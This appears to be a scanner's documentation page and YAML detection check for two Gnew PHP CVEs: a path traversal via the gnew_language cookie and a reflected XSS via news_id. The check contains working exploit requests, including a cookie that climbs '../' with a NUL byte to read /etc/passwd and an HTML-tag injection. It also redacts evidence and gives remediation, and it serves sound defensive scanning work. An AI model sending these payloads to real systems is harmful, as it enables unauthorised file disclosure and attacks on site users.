Gnew — 1 vulnerability check
noctis ships 1 vulnerability check for Gnew, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Gnew <= 2013.1 gnew_language path traversal and news_id XSS
| CVE | CVE-2013-5639, CVE-2013-7368 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, script, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/gnew/gnew-2013-1-traversal-xss.yaml |
Gnew, a PHP news and forum script, includes a language file named by the gnew_language cookie in users/login.php without stripping directory separators or NUL bytes, and echoes the news_id POST field of news/send.php without HTML encoding. Versions up to 2013.1 are affected and the product is no longer maintained.
The check looks for the Gnew news index on the web root, /gnew and /cms. It then requests users/login.php with a gnew_language cookie climbing to /etc/passwd, and again for an absent file as control: a passwd line only in the first answer confirms the file inclusion (the content is redacted from the evidence). It also posts an invalid news_id carrying a per-run HTML tag to news/send.php, which confirms the XSS when the tag comes back unescaped. No mail is sent and nothing is written to the target.
How noctis detects it
- HTTP(S) request
GET {{dir}}/news/index.php - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script, for each of 1 values
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{gdir}}/users/login.php HTTP/1.0 - Checks
lfi_r.bannerfor(?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\r\n]*:0:([01]):[^:\r\n]*:([^:\r\n]*)… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{gdir}}/users/login.php HTTP/1.0 - Checks
ctrl_r.bannerfor(?m)(?:^|>)[A-Za-z0-9_.-]+:[^:\r\n]*:0:[01]: - Checks
prooffor^(root|<redacted>):<redacted>:0:[01]:→ finding QoD 75: Gnew gnew_language cookie path traversal (CVE-2013-5639) - HTTP(S) request
POST {{gdir}}/news/send.phpwith a crafted body - Checks
xss_r.bodyfor<i>NOCTISXSS[0-9a-fA-F-]{36}</i>→ finding QoD 75: Gnew news/send.php reflected cross-site scripting (CVE-2013-7368)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-5639
- https://nvd.nist.gov/vuln/detail/CVE-2013-7368
- https://www.exploit-db.com/exploits/28684
- http://seclists.org/bugtraq/2013/Oct/7
Feed source — tests/vulnerabilities/gnew/gnew-2013-1-traversal-xss.yaml
# Gnew 2013.1 and earlier — gnew_language cookie path traversal (CVE-2013-5639)
# and reflected XSS through news_id (CVE-2013-7368).
#
# Not proven here: the SQL injections of the same advisory (CVE-2013-5640,
# CVE-2013-7349). The advisory's only PoC ends in news/send.php mailing the query
# result to friend_email, an effect visible to third parties, and the pages give no
# in-band echo. The XSS request below posts an invalid news_id, so no mail is sent.
#
# Ported from OpenVAS/Greenbone NVT `2013/gb_gnew_mult_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.804110, GPL-2.0-only), which only checks the XSS
# echo. Deviations: also proves the path traversal (advisory HTB23171:
# "Cookie: gnew_language=../../../etc/passwd%00" on users/login.php; needs a PHP
# without NUL-byte protection, i.e. PHP < 5.3.4), compares an absent-file control,
# uses a per-run marker instead of alert(document.cookie), and tries /, /gnew, /cms.
# CVSS: NVD carries only v2 scores (7.5 and 4.3).
uid: 4e052f05-098f-4bdf-9227-ad2789c30387
name: "Gnew <= 2013.1 gnew_language path traversal and news_id XSS (CVE-2013-5639, CVE-2013-7368)"
description: |
Gnew, a PHP news and forum script, includes a language file named by the
gnew_language cookie in users/login.php without stripping directory
separators or NUL bytes, and echoes the news_id POST field of news/send.php
without HTML encoding. Versions up to 2013.1 are affected and the product is
no longer maintained.
The check looks for the Gnew news index on the web root, /gnew and /cms. It
then requests users/login.php with a gnew_language cookie climbing to
/etc/passwd, and again for an absent file as control: a passwd line only in
the first answer confirms the file inclusion (the content is redacted from the
evidence). It also posts an invalid news_id carrying a per-run HTML tag to
news/send.php, which confirms the XSS when the tag comes back unescaped. No
mail is sent and nothing is written to the target.
cves: [CVE-2013-5639, CVE-2013-7368]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [gnew, php, path-traversal, lfi, xss, null-byte]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-5639"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-7368"
- "https://www.exploit-db.com/exploits/28684"
- "http://seclists.org/bugtraq/2013/Oct/7"
steps:
# ── Pre-initialise every value read later ────────────────────────────────
- id: init-gate
action: set_var
var_name: gate
var_value: ""
- id: init-gdir
action: set_var
var_name: gdir
var_value: ""
- id: init-page
action: set_var
var_name: page
var_value: {status: 0, body: ""}
- id: init-lfi-r
action: set_var
var_name: lfi_r
var_value: {connected: false, banner: ""}
- id: init-lfi-m
action: set_var
var_name: lfi_m
var_value: {matched: false, captures: []}
- id: init-proof
action: set_var
var_name: proof
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {connected: false, banner: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: init-xss-r
action: set_var
var_name: xss_r
var_value: {status: 0, body: ""}
# ── Product gate: the Gnew news index, per candidate install path ────────
# (loop group: every step below runs once per path; gate keeps "D" + path)
- id: reset-page
action: set_var
var_name: page
var_value: {status: 0, body: ""}
condition: 'gate == ""'
loop:
var: dir
over: ["", "/gnew", "/cms"]
- id: fetch-index
action: http_request
method: GET
path: "{{dir}}/news/index.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 8
condition: 'gate == ""'
store_as: page
- id: check-gate
action: script
code: |
if gate != "" { gate } else {
let b = if type_of(page.body) == "string" { page.body } else { "" };
if page.status == 200 && stridx(b, ">Gnew<") >= 0 { "D" + dir } else { "" }
}
store_as: gate
# ── Proofs, once, on the install path found ──────────────────────────────
- id: path-of-install
action: script
code: 'if gate.len() > 1 { gate.sub_string(1) } else { "" }'
store_as: gdir
loop:
var: pass
over: ["once"]
# Include /etc/passwd through the gnew_language cookie (sent verbatim)
- id: read-passwd
action: tcp_connect
port: "{{port}}"
send: "GET {{gdir}}/users/login.php HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: gnew_language=../../../../../../../../etc/passwd%00\r\nConnection: close\r\n\r\n"
timeout_secs: 10
condition: 'gate != ""'
store_as: lfi_r
# No on_match: the raw reply (password hash) must not become evidence.
- id: passwd-content
action: match
source: lfi_r.banner
pattern: "(?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\\r\\n]*:0:([01]):[^:\\r\\n]*:([^:\\r\\n]*):([^:\\r\\n<]*)"
condition: 'gate != "" && lfi_r.connected == true && type_of(lfi_r.banner) == "string"'
store_as: lfi_m
- id: passwd-redact
action: script
code: |
if lfi_m.matched && lfi_m.captures.len() > 3 {
if lfi_m.captures[0] == "root" {
"root:<redacted>:0:" + lfi_m.captures[1] + ":<redacted>:" + lfi_m.captures[2] + ":" + lfi_m.captures[3]
} else {
"<redacted>:<redacted>:0:" + lfi_m.captures[1] + ":<redacted>:<redacted>:" + lfi_m.captures[3]
}
} else { "" }
store_as: proof
# Control: same request for an absent file whose name still holds etc/passwd.
- id: control
action: tcp_connect
port: "{{port}}"
send: "GET {{gdir}}/users/login.php HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: gnew_language=../../../../../../../../etc/passwd.noctis-absent-{{oob_token}}%00\r\nConnection: close\r\n\r\n"
timeout_secs: 10
condition: 'proof != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.banner
pattern: "(?m)(?:^|>)[A-Za-z0-9_.-]+:[^:\\r\\n]*:0:[01]:"
condition: 'proof != "" && ctrl_r.connected == true && type_of(ctrl_r.banner) == "string"'
on_match:
set_vars:
ctrl_hit: true
- id: report-lfi
action: match
source: proof
pattern: "^(root|<redacted>):<redacted>:0:[01]:"
condition: 'ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false'
on_match:
finding:
title: "Gnew gnew_language cookie path traversal (CVE-2013-5639)"
description: "users/login.php included /etc/passwd when the gnew_language cookie climbed to it with ../ sequences and a trailing NUL byte, while the same request for an absent file returned no passwd line. Any file readable by the web server can be read this way, and PHP code can be run through files whose content an attacker controls."
remediation: "Gnew is no longer maintained: replace it. On the server, upgrade PHP to 5.3.4 or later, which rejects NUL bytes in file paths, and restrict access to the application."
cves: [CVE-2013-5639]
cvss: 7.5
severity: high
confidence_delta: 0.50
qod: 75
evidence: "GET {{gdir}}/users/login.php with Cookie gnew_language=(../ x8)etc/passwd%00 returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
# ── Reflected XSS: invalid news_id with a per-run tag (nothing is mailed) ─
- id: xss-probe
action: http_request
method: POST
path: "{{gdir}}/news/send.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "send=1&user_name=noctis&user_email=noctis%40example.invalid&friend_email=noctis%40example.invalid&news_id=-1'<i>NOCTISXSS{{oob_token}}</i>"
condition: 'gate != ""'
store_as: xss_r
- id: report-xss
action: match
source: xss_r.body
pattern: "<i>NOCTISXSS[0-9a-fA-F-]{36}</i>"
condition: 'gate != "" && xss_r.status == 200 && type_of(xss_r.body) == "string" && stridx(xss_r.body, "<i>NOCTISXSS" + oob_token + "</i>") >= 0'
on_match:
finding:
title: "Gnew news/send.php reflected cross-site scripting (CVE-2013-7368)"
description: "news/send.php echoed the news_id POST field with its HTML tag unescaped, so script sent in that field runs in the browser of anyone lured into submitting it. The request used an invalid news_id and an unroutable address, so no mail was sent."
remediation: "Gnew is no longer maintained: replace it, or HTML-encode every request value before output."
cves: [CVE-2013-7368]
cvss: 4.3
severity: medium
confidence_delta: 0.45
qod: 75
evidence: "POST {{gdir}}/news/send.php with news_id=-1'<i>NOCTISXSS…</i> returned the tag unescaped"